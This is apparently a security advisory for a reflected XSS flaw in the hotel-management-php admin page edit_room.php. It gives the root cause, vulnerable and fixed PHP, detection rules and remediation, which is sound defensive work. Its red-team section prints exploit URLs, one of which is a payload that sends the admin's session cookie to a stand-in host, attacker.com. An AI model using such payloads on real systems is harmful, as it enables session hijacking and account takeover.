CVE-2025-65132

Executive Summary

CVE-2025-65132 identifies a reflected Cross-Site Scripting (XSS) vulnerability in the alandsilva26/hotel-management-php application, version 1.0. The flaw exists in the /public/admin/edit_room.php endpoint, where the room_id GET parameter is not properly sanitized before being rendered in the response. An attacker can craft a malicious URL containing JavaScript payloads in the room_id parameter. When an authenticated admin user visits this crafted URL, the script executes in the context of the admin's session, potentially leading to session hijacking, credential theft, or further administrative actions.

This vulnerability is classified as a reflected XSS (CWE-79) with a CVSS score of 6.1 (Medium). No official patch or advisory has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the presence of a public proof-of-concept (PoC) increases the risk for targeted attacks.

Supply Chain & Package Security

This is a PHP-based web application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present beyond the direct use of the vulnerable application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click the malicious link.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the risk of automated mass exploitation, but the lack of a patch and the public PoC make it a viable vector for targeted phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in /public/admin/edit_room.php. This script is used by administrators to edit room details. The room_id parameter is retrieved from the GET request and directly embedded into the HTML response without any sanitization or encoding.

Root Cause: The application fails to apply output encoding (e.g., htmlspecialchars() in PHP) to the room_id parameter before rendering it in the page. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a URL: http://target.com/public/admin/edit_room.php?room_id=<script>alert('XSS')</script>
2. The attacker sends this link to an authenticated admin user via email, chat, or other means.
3. The admin clicks the link while logged into the application.
4. The server processes the request and returns a page containing the injected script.
5. The browser executes the script, which can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Impact: An attacker can gain administrative access by stealing session tokens, modify room data, or deface the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$room_id = $_GET['room_id'];
echo "<input type='hidden' name='room_id' value='$room_id'>";
?>

Patched Code (PHP):

<?php
$room_id = htmlspecialchars($_GET['room_id'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='room_id' value='$room_id'>";
?>

The patched version uses htmlspecialchars() to encode special characters (<, >, ", ', &) into their HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of hotel-management-php 1.0.
• An authenticated admin session (the victim must be logged in).

Exploit URL:

http://target.com/public/admin/edit_room.php?room_id=<script>alert(document.cookie)</script>

Advanced Payload (Session Hijacking):

http://target.com/public/admin/edit_room.php?room_id=<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

1. Install the vulnerable application on a local server (e.g., XAMPP).
2. Log in as an admin user.
3. Open a new tab and paste the exploit URL.
4. Observe the JavaScript execution (e.g., alert box or cookie exfiltration).

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for suspicious room_id parameters containing <script>, onerror, javascript:, or other XSS patterns.
• Use a Web Application Firewall (WAF) to block requests with malicious payloads in the room_id parameter.

Prevention:

• Apply the patched code by adding htmlspecialchars() to all user-supplied input before rendering.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular code reviews and security testing.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /public/admin/edit_room.php with room_id containing <script> tags or event handlers.
  • Outbound connections to attacker-controlled domains from the admin panel.
• File IOCs:
  • Modified edit_room.php file (if attacker uploads a backdoor).
• Log IOCs:
  • Web server logs showing room_id parameters with encoded or raw JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_65132_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-65132 in hotel-management-php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65132"
    strings:
        $xss_payload = /room_id=.*<script/i
        $xss_event = /room_id=.*on\w+=/i
        $xss_js = /room_id=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-65132 XSS Attempt in hotel-management-php
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts via room_id parameter in edit_room.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        c-uri|contains: "/public/admin/edit_room.php"
        cs-uri-query|contains|all:
            - "room_id="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of HTML in room_id (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65132 XSS Attempt in hotel-management-php"; flow:to_server; content:"GET"; http_method; content:"/public/admin/edit_room.php"; http_uri; content:"room_id="; http_uri; pcre:"/room_id=.*<script/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Sanitization: Modify edit_room.php to use htmlspecialchars() on the room_id parameter.
2. Implement WAF Rules: Block requests containing <script> or event handlers in the room_id parameter.
3. Educate Users: Train administrators to avoid clicking suspicious links.

Long-Term Fixes:

• Upgrade to a patched version if released by the vendor.
• Conduct a full security audit of the application for similar vulnerabilities.
• Use a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

• If patching is not possible, restrict access to the admin panel via VPN or IP whitelisting.
• Disable the edit_room.php functionality if not essential.

Report generated by Valters IT DevSecOps & CTI Division

{/* [Security Hash: DE459139916FE2B31C570FE0] */}